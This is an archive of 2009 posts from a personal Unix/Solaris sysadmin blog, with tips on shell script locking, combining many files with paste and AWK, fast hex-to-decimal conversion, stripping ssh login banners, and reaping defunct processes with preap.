"What lies behind us and what lies before us are tiny matters compared to what lies within us." - Emerson

OpenSolaris Live USB Creator in Windows

2009-04-14T22:17:00.002+08:00

Last Saturday, Hiroshi Chonan announced this:

Hello All!

Nowadays, there are lot of OpenSolaris-flavored USB Images. Didn't you
feel difficult when creating LiveUSB sticks?
Do you want to create sticks using easy way on Windows PC?

I wrote utility to create OpenSolaris LiveUSB stick which work under
Windows OS.

Please check URL below ;
http://devzone.sites.pid0.org/OpenSolaris/opensolaris-liveusb-creator
Hiroshi Chonan

--
Hiroshi Chonan
SCA # OS0255

Google Uncloaks Their Servers and Data Centre

2009-04-11T17:57:00.004+08:00

Not sure whether you know that Google does not buy servers from vendors, instead they build their own. Do you know that their data centres do not come with UPS power because each server has its own 12-volt battery to supply power if there's a problem with the main source of electricity.

Read this article for more details.

This video features Google container data center tour

Shouldn't those who work in data centre given hearing protector. See the video at 4:19.

An Interview With One of the AWK Inventors

2009-04-11T17:37:00.003+08:00

Read this interview with one of the AWK inventors, Brian Kernighan.

AWK is definitely one of my favourite tools in my Swiss Army Knife

Serialise Asynchronous Shell Scripts

2009-04-10T17:41:00.006+08:00

You know that your shell script will break if more than one copy is running in the system. You also know that your script will be launched via a scheduler and you do not have control on when the job will be run. In such situation, you may want to have some form of locking mechanism feature in your script to ensure serialisation. First, your script has to start with acquiring a lock before doing any work. If not, it will have to go into a spin and check periodically to see whether such lock is still available, else exit if such lock cannot be acquired within a certain period. Removal of lockfile is part of the cleanup process when the script terminates.

Here is my sample template to implement what I described above. Hope it can help you to serialise your asynchronous jobs.

#! /bin/ksh


trap "lock_release" 0 1 2 3 5 9 15
LOCK_FILE="${TMPDIR:-/tmp}/lockfile-${0##*/}"
too_old=86400; # 1 day, 86400 seconds
verbose=1


debug()
{
        [ $verbose -eq 1 ] && echo $*
}
lock_acquire()
{
        debug "Acquiring lock ..."

        #
        # if lockfile is too old, remove it
        #
        if [ -f $LOCK_FILE ]; then
                tdiff=`perl -e '@a=stat("'$LOCK_FILE'");print time()-$a[9]'`
                if [ $tdiff -gt $too_old ]; then
                        debug "Lock file ($LOCK_FILE) is older than 1 day, remove it"
                        rm -f $LOCK_FILE
                fi
        fi

        spin=5
        timeout=30
        howlong=0
        while :
        do
                if [ ! -f $LOCK_FILE ]; then
                        touch $LOCK_FILE
                        LOCK_STATUS=0
                        break
                fi
                sleep $spin
                (( howlong = howlong + spin))
                if [ $howlong -gt $timeout ]; then
                        LOCK_STATUS=1
                        break
                fi
                debug "Waited ${howlong}s for lockfile ($LOCK_FILE) to be released"
        done

        if [ $LOCK_STATUS -eq 1 ]; then
                debug "ERROR. Unable to acquire lock. Exit."
                exit 1
        fi
        debug "OK. Lock ($LOCK_FILE) acquired."
        return $LOCK_STATUS
}
lock_release()
{
        if [ $LOCK_STATUS -eq 0 ]; then
                debug "Releasing lock ($LOCK_FILE)"
                rm -f $LOCK_FILE > /dev/null 2>&1
        fi
}
lock_acquire


# ----- main program ------
debug "Do something"
sleep 30

Try to run this script in a few terminals to have a feel yourself.

paste: too many files- limit 12, in Solaris

2009-04-10T16:54:00.003+08:00

When you collect performance data from system, very often you would want to prepend with timestamp (HH:MM:SS). Suppose you collect similar data across a number of servers, you would want to put them together and have them imported in your favourite spreadsheet software for further analysis.

In UNIX, you can paste them together. Below I will create 20 files (host*.txt) with some random data prepended with timestamp

$ for i in `perl -e '$,=" ";print 1..20'`
do
        for j in 1 2 3 4 5 6 7 8 9
        do
                ((v=RANDOM%100))
                echo "0$j:00:00 $v"
        done > host$i.txt
done

$ paste host1.txt host2.txt host3.txt host4.txt
01:00:00 56     01:00:00 61     01:00:00 83     01:00:00 50
02:00:00 59     02:00:00 1      02:00:00 96     02:00:00 72
03:00:00 31     03:00:00 33     03:00:00 71     03:00:00 60
04:00:00 54     04:00:00 29     04:00:00 61     04:00:00 36
05:00:00 62     05:00:00 69     05:00:00 25     05:00:00 36
06:00:00 2      06:00:00 72     06:00:00 76     06:00:00 8
07:00:00 69     07:00:00 59     07:00:00 91     07:00:00 89
08:00:00 51     08:00:00 75     08:00:00 80     08:00:00 61
09:00:00 17     09:00:00 12     09:00:00 59     09:00:00 83

Looks promising. Now, I need to get rid of the redundant timestamp. With AWK, we just have to take the even field values.

$ paste host1.txt host2.txt host3.txt host4.txt | awk '
{
        printf("%s\t%d", $1, $2)
        for ( i=4 ; i<=NF ; i+=2 ) {
                printf("\t%d",$i)
        }
        printf("\n")
}'
01:00:00        56      61      83      50
02:00:00        59      1       96      72
03:00:00        31      33      71      60
04:00:00        54      29      61      36
05:00:00        62      69      25      36
06:00:00        2       72      76      8
07:00:00        69      59      91      89
08:00:00        51      75      80      61
09:00:00        17      12      59      83

So far so good. Now I want to do that for all the hosts (host*.txt). You can use Bash brace expansion to supply the arguments to paste

$ paste host{1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20}.txt
paste: too many files- limit 12

Ouch! paste cannot take more than 12 files. Stuck ? What we can do is to do one file at a time within a loop. Since I want the output to be imported to spreadsheet, I will output that as comma separated values (CSV) file (all_hosts.csv)

$ tmpfile=".tmp-$$"

$ cp /dev/null all_hosts.csv

$ for i in `perl -e '$,=" ";print 1..20'`
do
        f="host$i.txt"
        paste all_hosts.csv $f > $tmpfile
        mv $tmpfile all_hosts.csv
done

Now we have all the hosts data in one file. The final step is to remove the redundant timestamp.

$ awk '
{
        printf("%s,%d", $1, $2)
        for ( i=4 ; i<=NF ; i+=2 ) {
                printf(",%d",$i)
        }
        printf("\n")
}' all_hosts.csv
01:00:00,56,61,83,50,22,6,83,10,6,88,75,61,46,24,33,8,82,90,29,90
02:00:00,59,1,96,72,80,63,5,61,42,90,7,24,78,58,5,85,35,79,0,46
03:00:00,31,33,71,60,99,41,61,92,34,84,61,46,8,1,52,10,21,82,84,69
04:00:00,54,29,61,36,7,85,69,2,26,42,56,82,17,14,93,95,45,76,3,37
05:00:00,62,69,25,36,54,42,81,8,2,94,44,10,44,28,64,68,96,22,9,45
06:00:00,2,72,76,8,96,21,85,35,89,92,93,98,31,99,67,25,77,43,73,9
07:00:00,69,59,91,89,39,72,11,45,90,9,28,15,22,3,66,64,83,46,60,40
08:00:00,51,75,80,61,22,60,61,12,37,66,24,34,92,21,63,99,27,45,40,35
09:00:00,17,12,59,83,32,44,78,91,16,89,97,52,81,52,51,59,78,14,85,49

Think Big

2009-04-07T20:40:00.009+08:00

Suppose you have some command output consists of hexadecimal that require to be converted to decimal number, likely you will use bc to work it out

$ bc
ibase=16
ABCDEF
11259375
abcdef
syntax error on line 3, teletype
0089
137
^D

So if you want to make use of it in shell script, you need to do the following. Bear in mind that bc only accept uppercase hex number.

$ echo "ibase=16; ABCDEF" | bc
11259375

$ echo "ibase=16; abcdef" | bc
syntax error on line 1, teletype

$ echo "ibase=16; abcdef" | tr '[a-z]' '[A-Z]' | bc
syntax error on line 1, teletype
1123455

$ echo "abcdef" | tr '[a-z]' '[A-Z]' | xargs -I{} echo 'ibase=16;{}' | bc
11259375

This may work fine for small data set. However, if you need to loop through thousands of lines to do hex to dec convert, it becomes a performance problem. Below I am going to show you what are the alternatives.

Traditional shell script way. You can see how slow it is when we throw it with large data set.

$ cat hex.input
drive1 0089
drive2 0a2f
drive3 1FFE
drive4 980B
drive5 0011780c

$ cat hex2dec-sh.sh
#! /bin/sh


if [ $# -ne 1 ]; then
        echo "Usage: $0 <hex-input>"
        exit 1
fi


cat $1 | while read drive hex
do
        dec=`echo $hex | tr '[a-z]' '[A-Z]' | xargs -I{} echo "ibase=16; {}" | bc`
        echo "Drive=$drive, Hex=$hex, Dec=$dec"
done

$ time ./hex2dec-sh.sh hex.input
Drive=drive1, Hex=0089, Dec=137
Drive=drive2, Hex=0a2f, Dec=2607
Drive=drive3, Hex=1FFE, Dec=8190
Drive=drive4, Hex=980B, Dec=38923
Drive=drive5, Hex=0011780c, Dec=1144844

real    0m0.042s
user    0m0.011s
sys     0m0.065s

$ for i in `perl -e '$,=" "; print 1..1000'`
do
    cat hex.input
done > hex.big

$ wc -l hex.big
    5000 hex.big

$ time ./hex2dec-sh.sh hex.big > /dev/null

real    0m32.141s
user    0m9.131s
sys     0m56.458s

What if I have a few million lines to convert? You will need a lot of coffee breaks. The alternative is to use some high level scripting languages, such as Perl, Python, Tcl, ... In fact you can crank out your own function in AWK to do this kind of thing. Here I will show you a Perl one-liner and the AWK way.

Perl one-liner:

$ time perl -ne 'chomp();@l=split(/\s+/);print "Drive=",$l[0]," Hex=",$l[1]," Dec=",hex($l[1]),"\n"' < hex.input
Drive=drive1 Hex=0089 Dec=137
Drive=drive2 Hex=0a2f Dec=2607
Drive=drive3 Hex=1FFE Dec=8190
Drive=drive4 Hex=980B Dec=38923
Drive=drive5 Hex=0011780c Dec=1144844

real    0m0.008s
user    0m0.003s
sys     0m0.005s

$ time perl -ne 'chomp();@l=split(/\s+/);print "Drive=",$l[0]," Hex=",$l[1]," Dec=",hex($l[1]),"\n"' < hex.big  > /dev/null

real    0m0.044s
user    0m0.038s
sys     0m0.005s

AWK way:

$ cat hex2dec-awk.sh
#! /bin/sh


if [ $# -ne 1 ]; then
        echo "Usage: $0 <hex-input>"
        exit 1
fi


nawk '
function hex2dec(hex, h, i, factor, n, sum) {
        n = length(hex)
        factor = 1
        sum = 0
        for ( i=n ; i>0 ; --i ) {
                h = substr(hex, i, 1)
                if ( h == "a" || h == "A" ) { h=10 }
                if ( h == "b" || h == "B" ) { h=11 }
                if ( h == "b" || h == "B" ) { h=11 }
                if ( h == "c" || h == "C" ) { h=12 }
                if ( h == "d" || h == "D" ) { h=13 }
                if ( h == "e" || h == "E" ) { h=14 }
                if ( h == "f" || h == "F" ) { h=15 }
                sum += factor * h
                factor *= 16
        }
        return sum
}
{
        printf("Drive=%s, Hex=%s, Dec=%s\n", $1, $2, hex2dec($2))
}' $1

$ time ./hex2dec-awk.sh hex.input
Drive=drive1, Hex=0089, Dec=137
Drive=drive2, Hex=0a2f, Dec=2607
Drive=drive3, Hex=1FFE, Dec=8190
Drive=drive4, Hex=980B, Dec=38923
Drive=drive5, Hex=0011780c, Dec=1144844

real    0m0.008s
user    0m0.002s
sys     0m0.006s

$ time ./hex2dec-awk.sh hex.big > /dev/null 2>&1

real    0m0.100s
user    0m0.093s
sys     0m0.006s

For 5000 lines, you can reduce it from 32 seconds run time down to sub second. I am sure you can see the performance differences in the 3 implementations. Next time, think big! Bigger data size.

Avoiding all the banners

2009-04-06T20:16:00.005+08:00

Sometime you need to automate your activities by ssh into a remote host and sudo to a particular user to execute a command. Although all the authentication has been setup to be passwordless, the output include those extra banners (/etc/motd and /etc/issue) which you normally want to get rid of.

There is one nice trick that you may want to adopt. By crafting a unique string in your script, you can use that as your marker to separate the banners from your command output. So your ssh sudo output can pipe through awk to separate out unwanted banners.

unique="=-a-b-c-="

ssh chihung@$remote "sudo su - someuser -c 'echo $unique;somecmd'" 2>&1 | \
    awk '/^'$unique'$/ { start=1; next } start==1 { print }'

Make sure your $unique get substituted in your current shell by enclosing them in double quotes. In this approach, you do not have to worry about how the banners look like and you do not have to do grep -v some-banner-string

Killing defunct processes in Solaris 9 and 10

2009-04-06T20:07:00.005+08:00

Recently I found out that you can "kill" those <defunct> processes in Solaris 9 and 10. The command is preap. You can specify all the <defunct> process IDs in one command line or you can make use of xargs to construct the argument list on the fly

# uname -a
SunOS myhost  5.10 Generic_118833-24 sun4u sparc SUNW,Sun-Fire-V490

# ps -ef | grep defunct
  daemon 25694   338   0        - ?           0:00 <defunct>
  daemon  8726   338   0        - ?           0:00 <defunct>
  daemon  8523   338   0        - ?           0:00 <defunct>
  daemon 11023   338   0        - ?           0:00 <defunct>
  daemon 25420   338   0        - ?           0:00 <defunct>
  ...
# ps -ef | grep -c defunct
606

# ps -ef -o 'pid,comm' | awk '/<defunct>/{print $1}' | xargs preap